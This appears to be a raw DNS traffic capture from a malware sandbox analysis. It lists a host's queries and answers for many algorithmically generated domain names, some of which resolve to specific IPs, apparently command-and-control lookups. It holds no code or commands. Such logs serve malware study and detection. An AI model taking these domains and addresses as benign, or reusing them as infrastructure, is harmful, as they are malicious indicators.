Oct 30, 2018 14:44:15.741638899 CET	192.168.1.81	8.8.8.8	0x2c9e	Standard query (0)	eiisisiysjsif.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:16.316071033 CET	192.168.1.81	8.8.8.8	0xb67b	Standard query (0)	iriototooeuwo.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:16.856439114 CET	192.168.1.81	8.8.8.8	0x85f7	Standard query (0)	nkihigheogojg.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:17.417802095 CET	192.168.1.81	8.8.8.8	0x808e	Standard query (0)	iugouehoeohfh.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:39.075078011 CET	192.168.1.81	8.8.8.8	0x7105	Standard query (0)	ugoheoheufefu.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:39.614347935 CET	192.168.1.81	8.8.8.8	0x60b2	Standard query (0)	iefigjgdidisi.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:40.167870045 CET	192.168.1.81	8.8.8.8	0x862e	Standard query (0)	ouegouehouseh.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:40.723294020 CET	192.168.1.81	8.8.8.8	0x9382	Standard query (0)	riifndisojdoj.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:40.989151955 CET	192.168.1.81	8.8.8.8	0x7e6c	Standard query (0)	sso.anbtr.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:41.138250113 CET	192.168.1.81	8.8.8.8	0x49c8	Standard query (0)	xsso.riifndisojdoj.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:41.975435019 CET	192.168.1.81	8.8.8.8	0xbbb6	Standard query (0)	inigbiseijfji.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:42.525129080 CET	192.168.1.81	8.8.8.8	0x295c	Standard query (0)	udunfjgussiid.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:43.072541952 CET	192.168.1.81	8.8.8.8	0x8e9f	Standard query (0)	eiisisiysjsif.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:43.611255884 CET	192.168.1.81	8.8.8.8	0x7f33	Standard query (0)	iriototooeuwo.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:44.148000956 CET	192.168.1.81	8.8.8.8	0xab95	Standard query (0)	nkihigheogojg.in	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:44.696399927 CET	192.168.1.81	8.8.8.8	0xe798	Standard query (0)	iugouehoeohfh.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:45.241278887 CET	192.168.1.81	8.8.8.8	0x5b0d	Standard query (0)	ugoheoheufefu.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:45.788695097 CET	192.168.1.81	8.8.8.8	0x9b90	Standard query (0)	iefigjgdidisi.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:46.333153963 CET	192.168.1.81	8.8.8.8	0x2b1d	Standard query (0)	ouegouehouseh.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:46.727534056 CET	192.168.1.81	8.8.8.8	0x80fa	Standard query (0)	xsso.ouegouehouseh.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:47.473509073 CET	192.168.1.81	8.8.8.8	0xfef3	Standard query (0)	riifndisojdoj.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:47.831434965 CET	192.168.1.81	8.8.8.8	0x935d	Standard query (0)	xsso.riifndisojdoj.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:48.569845915 CET	192.168.1.81	8.8.8.8	0x543b	Standard query (0)	inigbiseijfji.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:49.213727951 CET	192.168.1.81	8.8.8.8	0x9ec8	Standard query (0)	udunfjgussiid.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:49.674843073 CET	192.168.1.81	8.8.8.8	0x68e6	Standard query (0)	xsso.udunfjgussiid.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:50.446424007 CET	192.168.1.81	8.8.8.8	0x7df2	Standard query (0)	eiisisiysjsif.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:50.993984938 CET	192.168.1.81	8.8.8.8	0x8977	Standard query (0)	iriototooeuwo.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:51.539624929 CET	192.168.1.81	8.8.8.8	0x7847	Standard query (0)	nkihigheogojg.net	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:52.114121914 CET	192.168.1.81	8.8.8.8	0x24d6	Standard query (0)	iugouehoeohfh.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:52.664256096 CET	192.168.1.81	8.8.8.8	0x2e4	Standard query (0)	ugoheoheufefu.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:53.257920980 CET	192.168.1.81	8.8.8.8	0x804f	Standard query (0)	iefigjgdidisi.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:53.807739973 CET	192.168.1.81	8.8.8.8	0x3824	Standard query (0)	ouegouehouseh.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:54.351591110 CET	192.168.1.81	8.8.8.8	0x5fae	Standard query (0)	riifndisojdoj.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:54.899790049 CET	192.168.1.81	8.8.8.8	0x15ea	Standard query (0)	inigbiseijfji.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:55.444078922 CET	192.168.1.81	8.8.8.8	0x389d	Standard query (0)	udunfjgussiid.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:55.806869030 CET	192.168.1.81	8.8.8.8	0x4ce9	Standard query (0)	xsso.udunfjgussiid.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:56.552531004 CET	192.168.1.81	8.8.8.8	0xd754	Standard query (0)	eiisisiysjsif.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:57.190901041 CET	192.168.1.81	8.8.8.8	0xff28	Standard query (0)	iriototooeuwo.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:57.745301008 CET	192.168.1.81	8.8.8.8	0x3499	Standard query (0)	nkihigheogojg.com	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:58.292757988 CET	192.168.1.81	8.8.8.8	0xacf	Standard query (0)	iugouehoeohfh.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:58.839458942 CET	192.168.1.81	8.8.8.8	0x5482	Standard query (0)	ugoheoheufefu.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:59.382998943 CET	192.168.1.81	8.8.8.8	0xe4d	Standard query (0)	iefigjgdidisi.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:59.930283070 CET	192.168.1.81	8.8.8.8	0xa03c	Standard query (0)	ouegouehouseh.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:00.477106094 CET	192.168.1.81	8.8.8.8	0x1683	Standard query (0)	riifndisojdoj.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:01.024931908 CET	192.168.1.81	8.8.8.8	0x2a7d	Standard query (0)	inigbiseijfji.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:01.571345091 CET	192.168.1.81	8.8.8.8	0x87fa	Standard query (0)	udunfjgussiid.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:02.122265100 CET	192.168.1.81	8.8.8.8	0x4c4	Standard query (0)	eiisisiysjsif.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:02.668431997 CET	192.168.1.81	8.8.8.8	0x10f9	Standard query (0)	iriototooeuwo.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:03.028057098 CET	192.168.1.81	8.8.8.8	0x871e	Standard query (0)	xsso.iriototooeuwo.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:03.773464918 CET	192.168.1.81	8.8.8.8	0xfaef	Standard query (0)	nkihigheogojg.biz	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:04.322597980 CET	192.168.1.81	8.8.8.8	0x9904	Standard query (0)	iugouehoeohfh.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:04.867233038 CET	192.168.1.81	8.8.8.8	0x9835	Standard query (0)	ugoheoheufefu.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:05.238009930 CET	192.168.1.81	8.8.8.8	0xff20	Standard query (0)	xsso.ugoheoheufefu.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:05.993982077 CET	192.168.1.81	8.8.8.8	0x2be7	Standard query (0)	iefigjgdidisi.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:06.557117939 CET	192.168.1.81	8.8.8.8	0xe47d	Standard query (0)	ouegouehouseh.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:07.102226019 CET	192.168.1.81	8.8.8.8	0x6dc2	Standard query (0)	riifndisojdoj.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:07.643244028 CET	192.168.1.81	8.8.8.8	0x9b52	Standard query (0)	inigbiseijfji.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:08.219980001 CET	192.168.1.81	8.8.8.8	0x4ff0	Standard query (0)	udunfjgussiid.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:08.752757072 CET	192.168.1.81	8.8.8.8	0x877e	Standard query (0)	eiisisiysjsif.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:09.292244911 CET	192.168.1.81	8.8.8.8	0x3e44	Standard query (0)	iriototooeuwo.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:09.830091000 CET	192.168.1.81	8.8.8.8	0xa73a	Standard query (0)	nkihigheogojg.info	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:23.507791996 CET	192.168.1.81	8.8.8.8	0xf5f1	Standard query (0)	iugouehoeohfh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:24.655889034 CET	192.168.1.81	8.8.8.8	0xf5f1	Standard query (0)	iugouehoeohfh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:35.779735088 CET	192.168.1.81	8.8.8.8	0x9199	Standard query (0)	iugouehoeohfh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:36.317698956 CET	192.168.1.81	8.8.8.8	0x4838	Standard query (0)	iugouehoeohfh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:36.837670088 CET	192.168.1.81	8.8.8.8	0xa37a	Standard query (0)	iugouehoeohfh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:38.061872005 CET	192.168.1.81	8.8.8.8	0x1ffb	Standard query (0)	iugouehoeohfh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:39.496197939 CET	192.168.1.81	8.8.8.8	0x3abd	Standard query (0)	ugoheoheufefu.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:40.089312077 CET	192.168.1.81	8.8.8.8	0xe366	Standard query (0)	ugoheoheufefu.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:41.514748096 CET	192.168.1.81	8.8.8.8	0xf17d	Standard query (0)	ugoheoheufefu.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:42.506903887 CET	192.168.1.81	8.8.8.8	0xf17d	Standard query (0)	ugoheoheufefu.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:43.229598999 CET	192.168.1.81	8.8.8.8	0x79e8	Standard query (0)	ugoheoheufefu.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:44.044825077 CET	192.168.1.81	8.8.8.8	0x1b4b	Standard query (0)	ugoheoheufefu.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:45.310434103 CET	192.168.1.81	8.8.8.8	0xa164	Standard query (0)	iefigjgdidisi.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:46.173456907 CET	192.168.1.81	8.8.8.8	0x2608	Standard query (0)	iefigjgdidisi.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:46.943955898 CET	192.168.1.81	8.8.8.8	0xe4db	Standard query (0)	iefigjgdidisi.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:47.492645025 CET	192.168.1.81	8.8.8.8	0x1881	Standard query (0)	iefigjgdidisi.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:48.055166960 CET	192.168.1.81	8.8.8.8	0x881f	Standard query (0)	iefigjgdidisi.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:49.228008986 CET	192.168.1.81	8.8.8.8	0xcb7	Standard query (0)	ouegouehouseh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:50.444950104 CET	192.168.1.81	8.8.8.8	0x2f1e	Standard query (0)	ouegouehouseh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:51.054582119 CET	192.168.1.81	8.8.8.8	0xc8b	Standard query (0)	ouegouehouseh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:51.620280981 CET	192.168.1.81	8.8.8.8	0x8371	Standard query (0)	ouegouehouseh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:52.615228891 CET	192.168.1.81	8.8.8.8	0x8371	Standard query (0)	ouegouehouseh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:53.179325104 CET	192.168.1.81	8.8.8.8	0xf7bf	Standard query (0)	ouegouehouseh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:54.311916113 CET	192.168.1.81	8.8.8.8	0x79dc	Standard query (0)	riifndisojdoj.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:55.350929022 CET	192.168.1.81	8.8.8.8	0x381e	Standard query (0)	riifndisojdoj.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:55.994779110 CET	192.168.1.81	8.8.8.8	0x319a	Standard query (0)	riifndisojdoj.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:56.990833044 CET	192.168.1.81	8.8.8.8	0x319a	Standard query (0)	riifndisojdoj.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:57.570213079 CET	192.168.1.81	8.8.8.8	0xaaa4	Standard query (0)	riifndisojdoj.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:58.086858988 CET	192.168.1.81	8.8.8.8	0xc776	Standard query (0)	riifndisojdoj.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:59.087579966 CET	192.168.1.81	8.8.8.8	0x9551	Standard query (0)	inigbiseijfji.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:59.601772070 CET	192.168.1.81	8.8.8.8	0xb5a8	Standard query (0)	inigbiseijfji.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:46:00.600862026 CET	192.168.1.81	8.8.8.8	0xb5a8	Standard query (0)	inigbiseijfji.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:46:01.150521040 CET	192.168.1.81	8.8.8.8	0xa2d0	Standard query (0)	inigbiseijfji.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:46:01.759588957 CET	192.168.1.81	8.8.8.8	0x2793	Standard query (0)	inigbiseijfji.ru	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 30, 2018 14:44:00.523699045 CET	8.8.8.8	192.168.1.81	0x840c	Name error (3)	iugouehoeohfh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:01.112970114 CET	8.8.8.8	192.168.1.81	0x3d5d	Name error (3)	ugoheoheufefu.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:02.686832905 CET	8.8.8.8	192.168.1.81	0xd953	Name error (3)	iefigjgdidisi.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:02.773525953 CET	8.8.8.8	192.168.1.81	0xd953	Name error (3)	iefigjgdidisi.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:03.454082012 CET	8.8.8.8	192.168.1.81	0x9de2	Name error (3)	ouegouehouseh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:04.997423887 CET	8.8.8.8	192.168.1.81	0xe2ea	Name error (3)	riifndisojdoj.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:05.045058012 CET	8.8.8.8	192.168.1.81	0xe2ea	Name error (3)	riifndisojdoj.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:05.536722898 CET	8.8.8.8	192.168.1.81	0xb459	Name error (3)	inigbiseijfji.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:06.488668919 CET	8.8.8.8	192.168.1.81	0xc5f7	Name error (3)	udunfjgussiid.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:07.029288054 CET	8.8.8.8	192.168.1.81	0x5eaf	Name error (3)	eiisisiysjsif.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:07.570357084 CET	8.8.8.8	192.168.1.81	0xb7ca	Name error (3)	iriototooeuwo.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:08.516493082 CET	8.8.8.8	192.168.1.81	0x1c8a	Name error (3)	nkihigheogojg.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:09.101088047 CET	8.8.8.8	192.168.1.81	0x323e	Name error (3)	iugouehoeohfh.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:09.883750916 CET	8.8.8.8	192.168.1.81	0x2c31	Name error (3)	ugoheoheufefu.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:10.440522909 CET	8.8.8.8	192.168.1.81	0xa6ce	Name error (3)	iefigjgdidisi.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:10.982006073 CET	8.8.8.8	192.168.1.81	0x1fda	Name error (3)	ouegouehouseh.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:12.578531981 CET	8.8.8.8	192.168.1.81	0x8235	Name error (3)	riifndisojdoj.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:13.521929979 CET	8.8.8.8	192.168.1.81	0xd433	Name error (3)	inigbiseijfji.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:13.970046997 CET	8.8.8.8	192.168.1.81	0x8235	Name error (3)	riifndisojdoj.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:15.238991976 CET	8.8.8.8	192.168.1.81	0x7bf5	Name error (3)	udunfjgussiid.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:15.811980963 CET	8.8.8.8	192.168.1.81	0x2c9e	Name error (3)	eiisisiysjsif.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:16.246850967 CET	8.8.8.8	192.168.1.81	0x7bf5	Name error (3)	udunfjgussiid.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:16.348659992 CET	8.8.8.8	192.168.1.81	0xb67b	Name error (3)	iriototooeuwo.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:16.898121119 CET	8.8.8.8	192.168.1.81	0x85f7	Name error (3)	nkihigheogojg.su	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:17.544297934 CET	8.8.8.8	192.168.1.81	0x808e	No error (0)	iugouehoeohfh.in		208.100.26.251	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:39.109126091 CET	8.8.8.8	192.168.1.81	0x7105	Name error (3)	ugoheoheufefu.in	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:39.646687031 CET	8.8.8.8	192.168.1.81	0x60b2	Name error (3)	iefigjgdidisi.in	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:40.219932079 CET	8.8.8.8	192.168.1.81	0x862e	Name error (3)	ouegouehouseh.in	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:40.840234995 CET	8.8.8.8	192.168.1.81	0x9382	No error (0)	riifndisojdoj.in		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:41.016239882 CET	8.8.8.8	192.168.1.81	0x7e6c	No error (0)	sso.anbtr.com		195.22.28.222	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:41.356367111 CET	8.8.8.8	192.168.1.81	0x49c8	No error (0)	xsso.riifndisojdoj.in		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:42.007827997 CET	8.8.8.8	192.168.1.81	0xbbb6	Name error (3)	inigbiseijfji.in	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:42.558135986 CET	8.8.8.8	192.168.1.81	0x295c	Name error (3)	udunfjgussiid.in	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:43.106122971 CET	8.8.8.8	192.168.1.81	0x8e9f	Name error (3)	eiisisiysjsif.in	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:43.643995047 CET	8.8.8.8	192.168.1.81	0x7f33	Name error (3)	iriototooeuwo.in	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:44.181570053 CET	8.8.8.8	192.168.1.81	0xab95	Name error (3)	nkihigheogojg.in	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:44.733213902 CET	8.8.8.8	192.168.1.81	0xe798	Name error (3)	iugouehoeohfh.net	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:45.277750015 CET	8.8.8.8	192.168.1.81	0x5b0d	Name error (3)	ugoheoheufefu.net	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:45.825709105 CET	8.8.8.8	192.168.1.81	0x9b90	Name error (3)	iefigjgdidisi.net	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:46.477309942 CET	8.8.8.8	192.168.1.81	0x2b1d	No error (0)	ouegouehouseh.net		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:46.848537922 CET	8.8.8.8	192.168.1.81	0x80fa	No error (0)	xsso.ouegouehouseh.net		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:47.594058990 CET	8.8.8.8	192.168.1.81	0xfef3	No error (0)	riifndisojdoj.net		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:47.950871944 CET	8.8.8.8	192.168.1.81	0x935d	No error (0)	xsso.riifndisojdoj.net		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:48.705081940 CET	8.8.8.8	192.168.1.81	0x543b	Name error (3)	inigbiseijfji.net	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:49.432180882 CET	8.8.8.8	192.168.1.81	0x9ec8	No error (0)	udunfjgussiid.net		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:49.822285891 CET	8.8.8.8	192.168.1.81	0x68e6	No error (0)	xsso.udunfjgussiid.net		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:50.483087063 CET	8.8.8.8	192.168.1.81	0x7df2	Name error (3)	eiisisiysjsif.net	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:51.030191898 CET	8.8.8.8	192.168.1.81	0x8977	Name error (3)	iriototooeuwo.net	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:51.599807978 CET	8.8.8.8	192.168.1.81	0x7847	Name error (3)	nkihigheogojg.net	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:52.150626898 CET	8.8.8.8	192.168.1.81	0x24d6	Name error (3)	iugouehoeohfh.com	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:52.702337027 CET	8.8.8.8	192.168.1.81	0x2e4	Name error (3)	ugoheoheufefu.com	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:53.295310974 CET	8.8.8.8	192.168.1.81	0x804f	Name error (3)	iefigjgdidisi.com	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:53.843633890 CET	8.8.8.8	192.168.1.81	0x3824	Name error (3)	ouegouehouseh.com	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:54.388540983 CET	8.8.8.8	192.168.1.81	0x5fae	Name error (3)	riifndisojdoj.com	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:54.936561108 CET	8.8.8.8	192.168.1.81	0x15ea	Name error (3)	inigbiseijfji.com	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:55.564903021 CET	8.8.8.8	192.168.1.81	0x389d	No error (0)	udunfjgussiid.com		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:55.929802895 CET	8.8.8.8	192.168.1.81	0x4ce9	No error (0)	xsso.udunfjgussiid.com		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:56.686451912 CET	8.8.8.8	192.168.1.81	0xd754	Name error (3)	eiisisiysjsif.com	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:57.230895042 CET	8.8.8.8	192.168.1.81	0xff28	Name error (3)	iriototooeuwo.com	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:57.780819893 CET	8.8.8.8	192.168.1.81	0x3499	Name error (3)	nkihigheogojg.com	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:58.325056076 CET	8.8.8.8	192.168.1.81	0xacf	Name error (3)	iugouehoeohfh.biz	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:58.874087095 CET	8.8.8.8	192.168.1.81	0x5482	Name error (3)	ugoheoheufefu.biz	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:59.415515900 CET	8.8.8.8	192.168.1.81	0xe4d	Name error (3)	iefigjgdidisi.biz	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:59.963258028 CET	8.8.8.8	192.168.1.81	0xa03c	Name error (3)	ouegouehouseh.biz	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:00.509448051 CET	8.8.8.8	192.168.1.81	0x1683	Name error (3)	riifndisojdoj.biz	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:01.057735920 CET	8.8.8.8	192.168.1.81	0x2a7d	Name error (3)	inigbiseijfji.biz	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:01.605123997 CET	8.8.8.8	192.168.1.81	0x87fa	Name error (3)	udunfjgussiid.biz	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:02.154679060 CET	8.8.8.8	192.168.1.81	0x4c4	Name error (3)	eiisisiysjsif.biz	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:02.783416033 CET	8.8.8.8	192.168.1.81	0x10f9	No error (0)	iriototooeuwo.biz		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:03.144932032 CET	8.8.8.8	192.168.1.81	0x871e	No error (0)	xsso.iriototooeuwo.biz		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:03.808666945 CET	8.8.8.8	192.168.1.81	0xfaef	Name error (3)	nkihigheogojg.biz	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:04.355417013 CET	8.8.8.8	192.168.1.81	0x9904	Name error (3)	iugouehoeohfh.info	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:04.988413095 CET	8.8.8.8	192.168.1.81	0x9835	No error (0)	ugoheoheufefu.info		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:05.363615036 CET	8.8.8.8	192.168.1.81	0xff20	No error (0)	xsso.ugoheoheufefu.info		195.22.26.248	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:06.027739048 CET	8.8.8.8	192.168.1.81	0x2be7	Name error (3)	iefigjgdidisi.info	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:06.591079950 CET	8.8.8.8	192.168.1.81	0xe47d	Name error (3)	ouegouehouseh.info	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:07.134207964 CET	8.8.8.8	192.168.1.81	0x6dc2	Name error (3)	riifndisojdoj.info	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:07.675873995 CET	8.8.8.8	192.168.1.81	0x9b52	Name error (3)	inigbiseijfji.info	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:08.251848936 CET	8.8.8.8	192.168.1.81	0x4ff0	Name error (3)	udunfjgussiid.info	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:08.785459995 CET	8.8.8.8	192.168.1.81	0x877e	Name error (3)	eiisisiysjsif.info	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:09.324549913 CET	8.8.8.8	192.168.1.81	0x3e44	Name error (3)	iriototooeuwo.info	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:09.863439083 CET	8.8.8.8	192.168.1.81	0xa73a	Name error (3)	nkihigheogojg.info	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:24.688843966 CET	8.8.8.8	192.168.1.81	0xf5f1	Name error (3)	iugouehoeohfh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:25.033915043 CET	8.8.8.8	192.168.1.81	0xf5f1	Name error (3)	iugouehoeohfh.ru	none	none	A (IP address)	IN (0x0001)
Oct 30, 2018 14:45:35.806256056 CET	8.8.8.8	192.168.1.81	0x9199	Name error (3)	iugouehoeohfh.ru	none	none	A (IP address)	IN (0x0001)
